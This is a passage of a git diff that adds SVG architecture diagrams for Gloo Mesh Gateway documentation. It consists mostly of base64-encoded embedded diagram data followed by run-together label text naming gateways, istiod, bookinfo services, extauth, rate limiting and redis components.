KiNXXFzSr1ZCX0brI9jw2uLZXHUwMDFmRPmfiii96Wbpz/dcdTAwMTJcdTAwMTJcdTAwMDBcdTAwMTjE8q9cdTAwMTetdVx04YAntsirTnUn9GaWe+Yhklx1MDAxObyls4PbbDFySjN0XHUwMDAzISFcdTAwMDCacEBcdTAwMWbCTDOkdMk/oyxcdTAwMDJqXHUwMDFjpIQmc2v0KDJcdTAwMDJcdTAwMWLwNkf4goPhLLmbg8Z4UTFsXHUwMDEz/o9cdTAwMTXneMVcZpVcbnDn+lxutFx1MDAxZpHxnyoyTIco00GXXHUwMDAzMIJcdTAwMGLMm2WLXGZ0XG7YTmBaXHUwMDAxXHUwMDE2XHUwMDAyXGa1XHUwMDFlO1x1MDAwMVx1MDAxYzZdXHUwMDFjmNRcdTAwMDCgXHUwMDA0WkKxiFx1MDAxOCxcdTAwMDZcdTAwMDaMXHUwMDE5XHKwXHUwMDAxiMVUzmc/I0kxdlx1MDAwMjEz909LXHKYnlx1MDAxOPS03lx1MDAwMJCWMS8xXHUwMDAyg1x1MDAxYrYo7NM051x1MDAxONL8XiCpOVxcci1cdTAwMDLD2Fx1MDAwMrtIKMDXRFx1MDAxYdtzaXPGcjFGXHUwMDE1nFx1MDAxYsCmtSBcdTAwMTFTS4Lk1KDG5y0wmKNMXHUwMDA2wbFyY0rA0Vx1MDAwMWBcdTAwMDamXbuep4Awl4GkRFx1MDAxMmKq6ZGpMWJ621xuZD9cdTAwMGa+QN7DvJl5VJvHfu/zN9Fe9SHXfE3VklmeXHUwMDBm41jvpON6N9FcdTAwMGZAt4BcdTAwMWYp2EKmgY8zMYIyS4Hc5WDagPXIyV7BLf+BlVx1MDAxNjfp+cCExkIlxK1bJv5FdVhcdTAwMDB9XHUwMDAxgCQr8a25fcuVWtc9M9A6XCI4PnyGsCd6XHUwMDAy+UNcdTAwMTHVW0R+8yhTXGZcdTAwMTEqevFoLIReo0WVv9bBXHUwMDA3T1pcdTAwMTNj3INoXFyKbXFqXHTQOIKbhpSK7MdcdTAwMWJ7YidcdTAwMDU6XHUwMDAw8fkwLdNcdTAwMWJzpX5fXHRucoR/PPgrjPFPXHUwMDAxT/5YJ1x1MDAwNGBHM2WyyU2yk6JqrYPXXHUwMDE37sB6wtRcdTAwMDNzpozDXHUwMDE4sbVuMV+8Y9xic+dcdTAwMWHoXHUwMDA2zJSg6z28/ohcdTAwMDdcdTAwMTakXFwqXHUwMDEzmYNbcao38Hj6Yp6QaYspYU1cdTAwMTNCZqY531qE51x1MDAwZnpcdTAwMDDzUNDKc3c2MWpR21x1MDAxNtxcYvN4NlqwN1x1MDAxMV5pMWVcdTAwMDRcdTAwMTndJmUhflx1MDAxNau1q+FcIr1cdTAwMWG9i2H2cXbduvRcdTAwMTLra5rNLbc4OWLiuMBmxiA2xVxuYHHaXHUwMDA2l5u/XHUwMDA3aWrB78FcIqYmNCC8892UIDVd2Vx1MDAwM/Uwy2B4XHJcdTAwMDY4I8SelrpcdTAwMTDu0pLctLtVXHUwMDAwpVx1MDAwNVnttqk0NeUha0HPf4pk9mps0MtWWaLbe2i+hJPTXHUwMDFhioTJXbjkUE1/XHUwMDFhXHUwMDFiYMu0syTUlG9rU7zq0taXWcDLXHUwMDFjZI5pMyZAivz+xJbdXHUwMDE2Pl7Dkc8mS8RmVTROPbavc/Xcg+umkMWx8XxQXHJ2XHUwMDBlNs2+VzfFLVxuclx1MDAwMJF5epfpkrWyqbPqtuBJ/eZaoftDiT8zU9TT4DPKymTjbyz+/EfaXHUwMDA2s88whSO1XHUwMDEwwfNva6ScQ/phjKQ1T/lAiHLmU1S2V5N1XHUwMDBlxIxcdTAwMTVlWJiWY5S5paZwZZzEgLxcdTAwMDGwYFtPXHUwMDE021xidsNcdTAwMDanXHUwMDFjzFx1MDAxYVxi0TctTUc5MeyDXG4mrWel+6+t4qublDG+YFx1MDAwMmaCXHUwMDE2XHUwMDFhUamxW0tcdTAwMTdjZVx1MDAwMyBcdTAwMTFg92ui0WpD341cdTAwMDTfXHUwMDE2fd/neFx1MDAxMzNtqnuxSd1Y3ZMy7ek4XHUwMDA3SuGcXHUwMDAzXjpruedN+r/eXVwi+oPJPYW859NcdTAwMTJcdTAwMDTKkG0xXHLGf0R4MOVcdTAwMWUjXFxYJlx1MDAxME6VqWVVyz1mkLI0MUNxXHUwMDAwvVx1MDAwYuU9dnovuceYXHUwMDA1qFx1MDAxMUAlXHUwMDE4T3BHlzxuQ1x1MDAxZmCJXHUwMDAxqDNxXHUwMDFijFZyVY3zi0l2ytbDgVx1MDAxMHtcdTAwMWadWL3Kk/wq9fTSqcn3XHUwMDA0a4UrXHUwMDFl4FxupJ1cdTAwMTnJQbBJhsLKdbhcdTAwMDQgfpNQXHUwMDAz9iBSRO3YX2ubnu9cdTAwMDA1qMn2XHUwMDAwg1GBriUu7U41XHUwMDE40pxT01x1MDAxYcx4Nsl5i76QJ/mba4Xwt1x1MDAxNH2+vVx1MDAwNLhPJJhJQbTaplx1MDAwNvLqLaazl6/5XFytnW9/fHLeefl8PKWnf1x1MDAwM9THXHUwMDAx18E3xaDTzStebjhKqTVPXFwzna1MPzdP+bdPJ41NhjPappZ9Nc/gpvrGnjJ+Vt3Wi/F6qlZcdTAwMWNfxz+FrHfwsJNcdTAwMTRo8red9n+mM+6x7pGO92dZk1x1MDAxOKffPnPPzdyM4Fxc7CZ2lexN0f1cdTAwMDGe2XMqXHUwMDE36XdyOtX4XGbfxmPvw6fb2XCvddeNZ3Q/oMWyK0Lg2ONcdTAwMTmFLVx1MDAwMrXiiEBcbm3V3Mb/8Vx1MDAwN3Toh+mT6K+TtMVsOul4Uz82XHUwMDFk+1xyqIUhqdeWiZ1bgHhBKLtcZmi0zb9cYj/e/rs7qlxyp/am098w93tcclwi85nYXHUwMDAxO774veE94KXwhJeUalx1MDAwMTB/izzDXHUwMDBm9vKefCvGSaZcIlx1MDAxZTCXn7eZctAnfzNunEtUz4f0XHUwMDAwjlxcZmSTqI41YH5i+jDuXHUwMDE3LD8suITdgsFB2ZliSzZKNVx1MDAwN6FQY/xZo/ncO+5dtVx1MDAxZjzA2lx1MDAwZrbcft0jXHUwMDFk78+yx1uWhjo03ChGbkK6XkpcdTAwMTfDV4lJsXVcYlx1MDAxMqvnhtPZXHUwMDA0y+mzXG69iVx1MDAwMvooPESPXG5Z3Vx1MDAwZuiEkFV6e1GYxIhtVXPj//hcdTAwMDNcbllNXHUwMDFhla+iXHUwMDEzljiUojtcdTAwMDRiXHUwMDE1gqh597vgard/JmBdXHUwMDAz8lx1MDAwZVx1MDAwMFh9QuA+nSNcdTAwMTkm3FxmWNuYjf3FbUBDQZRpy8xcdTAwMTmgXHUwMDFjgT2nlrlYaFx1MDAwYoRcdTAwMTkx/UyNjXqcWJDSXHUwMDE2XHUwMDA2IYGJMK9cdTAwMTS5dI0kllx1MDAxNvA4qInEc64xXSmLwUibYs31XVV/okG2ILhcdTAwMTKIwqMzJe1ScJe4i6kmQdjUWFx1MDAwYoVcdTAwMTXfNf3Hl8cvnMEgiUx9iOk3p03DXHUwMDAz5bYpXCKxIMj0YTNcdTAwMWYhK7s6s2G7nlx1MDAxY2Cu0CrxL9b7y/5zh1g49XS9YYAxXHUwMDAyS765XHUwMDAw9MeFXHUwMDAxXHUwMDE1gIIwi3LBXHSwXHUwMDAyvK5cYkBqYUlcdJNw9FqT5Z1cdTAwMWQoXHUwMDE4juD5M4ZcdTAwMTUoJMFA57hcdTAwMTRcdTAwMGZji8HzYJwqbvpmMLSCcJhcdTAwMTmaRH/GbG4sbEyJv+mWTDAmkmsgXHUwMDAxl3A4fFxiXHUwMDEx2CA1jYPgM6uyZiNcdPiSXGJcdTAwMTUxv+lG+5VbmstOwyxcdTAwMWJvum/KnIVp28JcdTAwMDXWXHUwMDEyueUmmfglZ1xuIU2xJJSed/6jN/WbK7RK+Fx1MDAwN5N+XHUwMDFhe7fVR4zNs9u3aJ3gXHUwMDFiIVxupvhcdTAwMDP4Z/LcXHUwMDA0iFx1MDAwZVx0Qlx1MDAxMNOlMcOmLM400MHG4c+Z9Fx1MDAwZYbvXHUwMDA1XHUwMDAw4SZgNks2XHUwMDBmblPhlv5ccrxKqZn6R01Okr2E51x1MDAwYlx1MDAwMFx1MDAwMog1ier/dPnnXHUwMDFmXHUwMDAxcIIt0PF43tOFUEVcdLE3dVnkXHUwMDAzSY6QXHUwMDE0XHUwMDEyXHUwMDAz1pJa/Fx1MDAwMVx1MDAxZltcbsBqIfZx00zzQYWy58l9tfFcdTAwMWO9XHUwMDFjekFAXHUwMDEwfqCKJZ2nplO2mlx0KSzGXHUwMDAxuzBTtaJcdTAwMThcdTAwMWPhWUvAkCdcdTAwMDPM312l/cPhP5tJt5xcdTAwMGLJXHUwMDE4oY5auXVcdTAwMDLQP5RcdTAwMWRQXHUwMDAxXGJcdTAwMDdqmV7ocPia2yOrv+WfsDjgQoWU1Fx1MDAwNlx1MDAwNlx1MDAwNtdcdTAwMDDmyERkXHUwMDExXVfb+CP+XHUwMDE28E8jzSlTZpSlJtKt/lx1MDAwNbSj0IRcdTAwMDBcdTAwMGUzrzsmgW+Rl47NMEWETCNAZLqDrla/aMs0MZKYmUJAMElcdTAwMGWSXHT5XHUwMDFmbPz6hqtcdTAwMDX1ln9SmW56aItcXHDfkbJB9eObYLFcdTAwMDI+XHUwMDAwXHUwMDA0YF6XXHUwMDFh41x1MDAxMGpJY2yY9nvK9DrzXHUwMDE0gJs0aPVcdTAwMTKAYLRaxHYxt7beRFjaftlCXG5/klKkXHUwMDAySpL4hFwicJ9cYnb1Jfn51lxi599cdTAwMWXHkfpnktTJw9g+knhFo3+941x1MDAxZq870dT33bmS2vKfVob9mVx1MDAwNo6ab1GZW1x1MDAxOUz6ucGsluwqSZo0mX8qR+gusGQ5hnVMplSOXHUwMDFjZWeFXHUwMDA2XHUwMDE1eFOm3KAw97/KNVaulleZcsdcdTAwMTRlpilcXDzIgTY/ZtHXavg2XHUwMDBloau73GUtk36ohT5cdTAwMWWuf9JIXHUwMDBllUZypOM9+LLrMlx1MDAxMtxv+FxygtMrI4FcdTAwMTLPal7TzFhv58ryPc7AXCJcdTAwMTlN/ISmtMhmQnM5re5oObRgXZJA59udICNcdTAwMDEsqSHs7uLf3Vx1MDAwNtxwVvr41mSENVhhOVx1MDAxOeHPZv9sdVx1MDAwZsgjPItSXHUwMDAxXHUwMDBmU0bkXHUwMDE2mVxi/afHTOKlnqTZ13T7hn3W8uE7XHUwMDE5eMTDvZmXcVx1MDAxOVxcxMOxoJyqU1bf71x1MDAwM3gq+WlP44f7Wv75uk+excd1cdT+XHUwMDAxPIdcdTAwMDI8RzreIy2Lc92KqOSK5ddaPoLCsdQlmlx1MDAxZKLK6eDbXYfP3G94SnymvetuJTGDodRcdTAwMTZVTv7nXHUwMDE5XFyAhnxkvKCBXHUwMDAzaKbzlbJPvVxmnGQ/XHUwMDAxQquVRuNZbTQ+XHUwMDExRFtcdTAwMDNuliHa1273x2hcXHo7i7FcdTAwMTlcboq2MLFcdTAwMWGN3HOolCFjNri8iTSTXG5cdDZcdTAwMGU8XHUwMDA3M8wtXHJ2XHUwMDBiZfNX56hcdTAwMDVKmKW4XHUwMDEyXFyamVx1MDAxOVx1MDAxNPklfVx1MDAwN8FZXGaPjFx1MDAwNrmA0U+hXHUwMDFly1ecb+m7VLmQ4HxYqHw8xlAxUUtcdTAwMWVg3Zfyk7pcdTAwMWV30bCCov3nXHUwMDAxYpVUu1x1MDAxN2RcdTAwMWY0k96jkDmQt7K34F9byNgpJFXvPf8ye41H3iaEpO/zL1x1MDAwMTfIXHUwMDE4lZbplyvN1CXkzFx1MDAwYqLmvc04fVx1MDAxM3uMXHUwMDEwVa655UXuZo+ZNCZ2tj0yXHUwMDFlX1xuQkWeQ5VYLKFvZI3Ei+XCjz12KHvsSMd7Lsuus5vcb/hccsLYy25i3vNTXHQyczBcdTAwMTTZwm7yP8/Aoi5GvEWx6aK3mSg+itlEVpBcdTAwMTVcdTAwMThNXFxxk4lcdTAwMWVcXFx1MDAwMXxcbrPpfVxcmoyb9uP/spVs8e7tbKVxz/Ytl1x1MDAwYuv8QceKofR7f7tDJo68J9FcdTAwMDFkXHUwMDEyXHUwMDEyadtxrWPVbJnWk+L1Jlx1MDAxNVx1MDAxNr3Xj/zj9Wfj4TnwmElZ2tPBIXVwQZPpOCowUupM7aF2rDBcdTAwMWRcdTAwMTU/K4l0r929bNPkTabY/EFNh0JNRzref/iy68CY+1xyT1xixuwzXHUwMDAwliW8qVdCjrq0dVx1MDAxMt7/PINcdTAwMGLGqI+M1zJgaFxmM4q1XHUwMDE5XHUwMDA2XHUwMDE3YHP4XHUwMDA0aGxcYre5aLc6rbFHu4OdIdlcdTAwMWH39Vx1MDAxYVizjMpcdTAwMWP73Fx1MDAxZJox5Vx1MDAxOX1cIphcdTAwMTFT+7W5XHUwMDExdX+TVlc10i6Ey8BLJFsr9ydBT6hkVHiaUFxmXHUwMDA1XHUwMDE4mFx1MDAxMcTNWFJ7cDBw/OunNFx1MDAxZifJoe5kY09FWWzd91ufuSnxQCQ/wGxcdTAwMDd31nGO92fZYyy71vnmesNT4j3u3Vx1MDAxZlx1MDAwN2GlXHUwMDE5QVvgPf/zXGYu3sPemoNcdTAwMDRcdTAwMGXuXHUwMDEx43qjOMg1MKeAe7WqbT7jd+C8NSBpXHUwMDA15803uFx1MDAxM5Pa6+VX3G7zuVxuaItQZa45elaDWv82XHUwMDE0enq4XHUwMDFkvGfep7eH7WJwhCl2SFpIcVx1MDAwNDKJgFx1MDAwNbZUw4aptDjYatp8glx1MDAxYlx1MDAwNvFk0k3SXHUwMDEyvOBcdTAwMWShLl1b5EqbXHUwMDAyXG64XHUwMDBmmSHTp+PPdWW6fjrxRHF8V+5Xjt/6cH+j3euFOrVRM1SqVnvd0b+73Vx1MDAxMvxcdTAwMTNIrOYqXHUwMDEzxK6pSz7ueMe3WOZ+v1xy+spcdTAwMDTPyn5JPH3xXHUwMDA0XHSiTCfmzX3x/k89oEJBMUtcYlx1MDAwNoTFmFx1MDAxOZDmkFx0XHUwMDA0c1x1MDAwYisplDbjSn362u0jXHUwMDExMKFcdTAwMTYnUnLTWYNw5TKyWFx1MDAwYlx1MDAwYpnmXHUwMDAzWlPGsdAr5p8kSpsy9Vx1MDAwMIuLb6nq91dLXHUwMDE3S+OEKGFcbl6VqVxidlx1MDAxNJT/rqHnljAj88C05srMnt1xxpF/XHUwMDBln3NTXGbQMiZcdTAwMDKZSUdcdTAwMTQvJq1+7Vx0U0tcdTAwMTBcdTAwMDDcSjJQXHUwMDEwXHUwMDAwJVd77Z1VT1x1MDAxM0/qN9dcbt0vlvvL/nNruWdnoVx1MDAxNVx1MDAwZjXjXG7xbdKs7/OlfCiee43etuRjd1i7XHUwMDEz0UEj4HKPa21RLVx1MDAxMdFaXHUwMDEwjJaGu1x1MDAxMU0sSoHwwUJg0qeaf4P2815yj1OLmHahnJvuZJwunsiim1x1MDAxZFx1MDAxNlx1MDAxNiOUXG4pqeaCrsYjiTIxY6xO6LZcdTAwMGXIoHUv6XODa6T1KFJcdTAwMTXOR1FcdTAwMWEtZKPxaddN+iCLXHUwMDEyrJRcdTAwMDSaME9cdTAwMWRcdTAwMWX+aqNPoiyt4amBfDJccqzpQVpqnk74eJLg/N1cdTAwMTXq21L6rJmA4ZNcdTAwMDWB2FxcOW2OvN77d/fhUK7zeFnrkkp+kEHxNlx0tlx1MDAwNFx1MDAwMjjlN8zGdC9A835K2owgJj5J4t8/X43IwI+1+bqHi3VcdTAwMTa/eyjnUslxvpFcdTAwMWHg57fn5nBa/smCOJiz/UjHe17LXHUwMDFla1x1MDAxMNrBt7vO2+5+w8WyK8x69Dlo1LtE0HiMtmtH6n+eXHUwMDAx9baD7vBcdTAwMWLOSaWy+KF0x0Hc7ZQxY0n+ZFf8ovDf/qxub1x1MDAxY2p151x1MDAxZa1vdbqvQUvLbjf7NndcdTAwMDd8VFx1MDAxMC+2NS3VXHUwMDE0XHUwMDEzdPPWXHK3rPSW0umXpm7nRKae6ryn3nWwcyvmeI8uXCJk2MGyZkxcZpj/XHUwMDAwelx1MDAwMfhx7d1Ac5PUisOiPUkwpVJcdTAwMDc5VOaLylKTbPejUWatcq5RqPfGd7dcdTAwMTl8XHUwMDAwsHekZY+EIZORabh+rZOvXHSEpuGnfEXG1excdTAwMDDr9q/xZXake+nyZ5KxzGW5XHUwMDFmr3mMkd1q3TN7aodedlx1MDAxZChzv+FcdEFcdTAwMTlAXHUwMDBlT1AmkFx1MDAxMFx1MDAxYVx1MDAxMMDmKVx1MDAxMP7nXHUwMDE5ZFDmLeAltdCBXHUwMDA0/CEgXHUwMDE5Q4QpzNRP9dGFXHKRnVx1MDAwMo2twTKrzbQ2QGKeZYLIM1x0glx1MDAxMlx01KC2mDt7815Hg1x1MDAxMU8/p1x1MDAxYo33yeVcdTAwMTO+epmFXHUwMDAy7nRjSFlKXHRgQEZcdTAwMDTnytmaXHUwMDAx7Fx1MDAxNEtoxLmJhlKTXG7hbTntXHUwMDEz8WQuwGs1XHUwMDA3gpiBXHUwMDFlXGZcdTAwMTNcdTAwMTngXuW+mGPygFx1MDAxMtVKhXfJM6o13sOZVu15M2ywj/5ylVx1MDAwMFx1MDAxYidBNMfjfrnVXHJcXO6Dy758JYBn6E95l1x1MDAxZlx1MDAxMkRcdTAwMTTGcovqQ/9HXHUwMDFjUFx1MDAxMcCQZfKfXHUwMDA0XHUwMDE4NVx1MDAxYVx1MDAwNOKCXHUwMDE3f6U8/Ir8MVx1MDAwMbhcdTAwMDUrZDN7XHUwMDBlKlx1MDAwMpBcdTAwMTlVT7QgXHUwMDE0rCtOlEtWlFKWNkOVXGJcdTAwMThfILH06jA/IUyCykmndVx1MDAwNlwi7cFfXHUwMDEzXSylPVxiXGaEzrAgXHUwMDE4U7VcYu5euKc9XHUwMDEw8WeS0pZpXHUwMDBmLHVXSKSbXHUwMDFmtZsnUVxiv7avpome6ywr2JSAu1xiM1qQUlxyXHUwMDAwcjXtgVx1MDAwMM1qQlx1MDAwMNwhLblE9MxHuXjTv7lWKH+x3l/2n1tcdTAwMGI/7N3+XHUwMDE3XHUwMDBiXHUwMDEwXHUwMDA2QnG6ue/46j6eXHUwMDFjdGit9/pQeFx1MDAxZeC+7H7kPoNupjAkiW1cIrHTc4wxcniOhXfK11x1MDAwNpnanlx1MDAxZESlJW2XXCIuk1xc8GLXf/xQXFyAxJCn7JdcdTAwMTCQVFx1MDAwN8c758T2ns/dXFwgXHUwMDEztmRzLytcdTAwMDd751x1MDAxNoCoYYDwxeaZ3uV7efnWqvRcdTAwMGL8MTZcdTAwMWUmUtWnUohcdTAwMDedyakkysJamVxcOvNqXHUwMDBivJhcdTAwMDVcdTAwMTSWXHUwMDE2poJRziSRSPlgnFxyklx1MDAwYjz7XHUwMDA0L2TLwlx1MDAxMWHLpfo9cVx1MDAxY/bKMUP/sWy9kyNiil3NXHUwMDBlrFx1MDAxY588vtkxxbs5XHUwMDFhXGLyUbRCXHUwMDAxeW7jaVDTzGU2okuJ3IyU6p+dytO07DUzPDg8qJi0XHUwMDEwxZKJ+atcXOVBu6r1cTXswYPErevjXG5cdTAwMGZcdTAwMTIkuKl9/4+dXHS5XHUwMDFiXHUwMDBmkoDwINmNXHUwMDA3sU+SL2HSzPTFm4PdXrbKXHUwMDEy3d5D8yWcnNZQJEzuwqWg86BhPVx1MDAwYsuvTqxyhVx1MDAwNe11id5jq4+vXHUwMDA2iSlcdTAwMTSlYHieqbMvflx1MDAxNau1q+FcIr1cdTAwMWG9i2H2cXbdutS2bV18o7Pvn6NlvefyaVx1MDAwNUfG2Fx1MDAxNjm0Sfb+XHUwMDE4x+l6PCojvdebxmRy9VlcdTAwMGY8g0tCLITcrVnD31xudC9cIphqKtkpVSzGhGKmTjrH5kfHXHUwMDFlXFzHXHUwMDEym+91dZ6UIFx1MDAxNG1cdTAwMTH2vrpcdTAwMTXTfnF23Yx2XHUwMDFm6IDPMt3qjddk4IBxoJKgPrl5dbrTpdJcdTAwMGVcdTAwMTbUx2FBl5pBXHUwMDE3XHUwMDE2JJiDusf/sUWCu3EgXHJcYlx1MDAwN9I9klx1MDAwYlx1MDAwNfZMP1x1MDAwMUtUXCKOhNpcXFx1MDAxM8bTvJO9XHUwMDFmhUdcdTAwMDNyJXWi3/xA407Ao1pUm1x1MDAxOcx/XHUwMDEygtFSXFybSFNayVx1MDAwNcOKYI35fkj3wNUkylQ/4pNan/skXHUwMDE4Jm+uSkPy0Vx1MDAxYr6iSrdwd8lcdTAwMTMvjWhwM1x1MDAwMc+tmuRIx3tey1x1MDAxZaua5FxcTmFdPqT7XHJcdTAwMTfLrsiAY+dD2udcdTAwMTCu4EI2r7De3PXif5xcdTAwMDHFhaCRhJ9GUtLSh9JIh0iIXHUwMDE0XG5cdTAwMTOtxE+FyoVcclx1MDAxY45cdTAwMDByVUvD6sVjr+pcdTAwMGVcdTAwMTOPlFx1MDAxNLlcdTAwMDaCLYNHxz53h5GMeZaWXHSiNVx1MDAxNZpvUaNSeVx1MDAxOMpaXCJ5XHUwMDEzmaRZ/eouXHUwMDE2yaXULijyXHUwMDFia1SoRlx1MDAxNl1cXMtcdTAwMWSiuLCw1ppcdTAwMDBeXHUwMDEzxMdd+v1FKlxudlx1MDAwNZ/lZ9r+c5yIp6X+XHUwMDE41/toXHUwMDE2v3zT6PM6Xd1fXHUwMDBmXHUwMDFmadmfXCKVc3xq57LsOqznfsNcdTAwMTNiPZ+u0ZhcdG7yTLdoXCLmf57BXHUwMDA1e9xPcUhqiVx1MDAwMymOQ2A9ylx1MDAwNENanTLnJIBgXHUwMDBmsNPFrDVuXlxcdac992mlR6uB8cdKy3Bvaae7XHUwMDAzPs48XHUwMDAzaFx1MDAxOCMlhNymbO0p2+nnO9P7z1xu5rPbz7typFh/XHUwMDBmut9wnmv71UuAOt33XHUwMDE4bFVLSoP8MJKAgX1aXHUwMDAw7tFcbmvXNjRcdTAwMTRYgbBT1sfsXHUwMDAz+lL44fHjKswnrZFOhWL1l/ro+Ta46OzcXHUwMDFjh0c63iMtm9MprajKvL69JIdccjWLTlx1MDAwNrPXXHUwMDAznMJdXHUwMDBihTqy+Zx9zd6np6JcdTAwMWRcdTAwMTK1psdI+a3WzaCKbJTQMIFz42wpXHUwMDE2RTE86Fx1MDAxZWDd51Qu0u/AaTQ+w7fx2Pvw6XY2PMC6T9O3QSc9ruhy8vPms5VcdTAwMWQ0XHUwMDA2mUNM7D04OayDv+43PCH85drT1YmxpkoysoVcdTAwMGX1P8/gwl/qq0VcdTAwMDWxyEZa9Lv632OKsJQnbZhcdTAwMWJAXHUwMDA0XHUwMDFja/d6XHUwMDE3d7VR89v9nWug4zJcdTAwMDB2bnRcdTAwMGb8y71NV6lMXHUwMDE3Xkw259276+frxn3q6TOuVD5SilXiicvImeFfJ+NySi3KiFRMSI24rcnFQTNEd4O/iCEkXHRcdHDEwk9xdmqpm8/4WzTbV1x1MDAxZr3PXFy/3828XHUwMDBlftDvodDvkY73vJY9Vtj84NtdXHUwMDA3+txveELQJ7zj25gxYZJcdTAwMDK3qLHzP89zXHUwMDAxfUuqgyNLbaQ6vlx1MDAwYvMpXHUwMDAxqozRIHftPVx1MDAwMea7XHUwMDFkjVu9b8d7a6DSMt5bbHInbuXKZ/ZcdTAwMTFcdTAwMTFcbim8RdOPfDxLMvilejvRj61ZpHRcdTAwMWa/f1xyfncuhsl8vtEvZl3u94/kZlx1MDAwMYp9k1E0XmVV6lJcZoQoZo4pwYFjVT/9OHkrik77LfaSzVxcXed7vWa6/6g207v7aDJXQbBx559krVHruktcdTAwMDFbfvn3JEP/3stuqll6liRgU1xix0ybr42ZPUzeXHUwMDEzscpNMT28XHUwMDE2w2xavzzd5Fx1MDAwMu+PYVx1MDAxNDFLmOYuXGZcYobbmjXNW/FZprlcdTAwMGJTgpuRvtyvydee3C5dSv9WuV1rrLQ+aWOLfZi9d11OXFy9p3KJbu65O0unc2+9yoZcdTAwMWXm0zF7pN1yPLFTMvvvvfgyu3c7L+9eXHUwMDE3mpupyHKLXHUwMDEyX98nXHUwMDE5SP9cciMmY1xytDrhkiHgZlx1MDAwN6dcdTAwMTNiKSQwxlxuXHUwMDE0qlwiYr+yXHUwMDA371x1MDAwMWamr1x0oPz5uCBsf1wii+5+lulcdTAwMDNAKHC6maSmV4uTXHUwMDE0MzOe9D++l5e/wrmwz+vB8ztzqaniWC2g+sXXsDBmXHUwMDExQUBcdTAwMTEoM95cdTAwMTN035pcdGZn21gn5E2D5lqhvsV6f9l/Lkuf3+VQXHUwMDBmgvY+u5oli7f0I11cdTAwMWK8o9DL4ot4iKjfvaaYPS3IaVwig/ksbJetXHUwMDFmyFx1MDAxZs5cdTAwMDI9vspKXFz4XHSFQ/hlt1x1MDAwMTXHSM51Z/yD8fVcdTAwMWaJo1x0I8bGWCmdm2/HMzGGmp6JeiO1sixBXHUwMDFj/LGLXGY5MNNwx1x1MDAxZoCgcFx1MDAxMCuVa1egXHUwMDE4O2hcdTAwMThcdPuClPC1K9hI3FxccFx1MDAwZau8ua1IWi9kKXrlXVx1MDAxNq7Id1WIyYf4ZSTyfukmZEMgZc1oTaK06WxccsJUrDZMXHUwMDA0y5owM0JcdTAwMTI+XHUwMDA1gFx1MDAxYpM/8mXLjomFR/4+SfHLR5RrxzqpcTGazPS9doVNOT1AXHUwMDFjXGZcYlx1MDAwNzOpV3alXHUwMDFk87OIWm3juIv8/iUn//r9VP4u9fvpMZDx17f6e9qqzS69893/+r1cdTAwMDEjZGrmu/zP//71v/9cdTAwMWZbSLlAIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg b/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg new file mode 100644 index 0000000000..cc2b6a67cf --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/dedfault/images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVMqybfve39cbqPP6986OVx1MDAwZvdNRSZFRVTU2zdcYmZQJlx1MDAxOUQ4cb77XclcdTAwMWUsqMqimKTobfVcdTAwMGVspchKMtfwWyvX8D9/XHUwMDFkXHUwMDFk/T2c9Kp//5+jv6tcdTAwMWblYqtZ6Vx1MDAxN8d//8f8/b3aXHUwMDFmNLtcdTAwMWR4i8x+XHUwMDFmdEf98uzOxnDYXHUwMDFi/J///u9ir+d8fsopd9s/PlltVdvVznBcdTAwMDD3/l/4/ejof2avrmf1q+VhsVNvVWdcdTAwMWaYvfX5OCn44l+vup3Zo1x1MDAxOdJcXEuu8e9cdTAwMWKag1x1MDAxODxuWK3Au7Via1D9fMf86e9pq1V+aMbq96X286SeL2dTd5Pbz6fWmq1Wbjhp/fhexXJj1HfNaTDsd1+r+WZl2ID38cLff39u0IVcdTAwMTX4/FS/O6o3OtWB+f7o91+7vWK5OZyYcdDnX38sgvu+XHUwMDBm+E1cdMZcdTAwMWONidCKmVf2+13zeUKUcCiiXHUwMDE4XHUwMDExTDWVi/M667a6fTOv/2KaIy4/Z1Yqll/rML1O5fNcdTAwMWVcdTAwMTitVFx1MDAxNZ/3jH9+W0KIg1x1MDAxOVFcXM5ehfrclEa1WW9cZs09XG47v26YvdLPqVRnW4I1Ulxuw7/fb5jn91KVT+KY/VWNy6+N2GXtXHUwMDBl0cdcdTAwMTOVzTyKflv8/fP9/7e48I1iv/dzgf+efVx1MDAxZNdXNL+eL1x1MDAxMqCbXGJdxJErvVckPn5u9586p9c3pDrqXHUwMDE0XHUwMDFlf481R7HFfr87/vv3O//7n6Bx31tF9lFLUn42uKZcdTAwMWaj51x1MDAxM1JIlMON6/nKo16l+IO8sWBKwZJLzJH+/X6r2XmFNzujVusv18xWYznFrCyHgYZcdTAwMTTHQtLQPFx1MDAxNyek/1SOXHUwMDE1ZeHqcaJO38+HhVT263hcdTAwMGWvyXOcOlx1MDAxOLhKMmFe6TzPwV9cdTAwMWMqXHUwMDA1YpwzxTViVqZDStZ4KZjpMCkp5cd0SDnEdTHhw3REONp9MVx1MDAwZtNcdTAwMDHHYSwoVTvjuoH5ZU2uu7+7XHUwMDFijDKlartxU8qPaHY0vjn+2Fx1MDAwMtddXHJOTq+fr3LxSvWCXGZFgeBEu1x1MDAxZmmuc23QXHUwMDAy11x1MDAxMc5cdTAwMDVXmvLQTDesnEx6qv1y3v84T+fKr7XJNItcIs90SiEgZoJcdTAwMDRl8MrFPNNcdTAwMTlFx7VcIkJKiVx1MDAxNCbcynSbaDpMXGKa4yjlw3TKy2VIXHUwMDFh0ShcdTAwMTWJpG57eMueXHUwMDE3842nTCpX71xu9YEmhZfpXHUwMDE2uOxRkHr6vplBqsin5TNCmrhcdTAwMWaLNJdcdGbjMs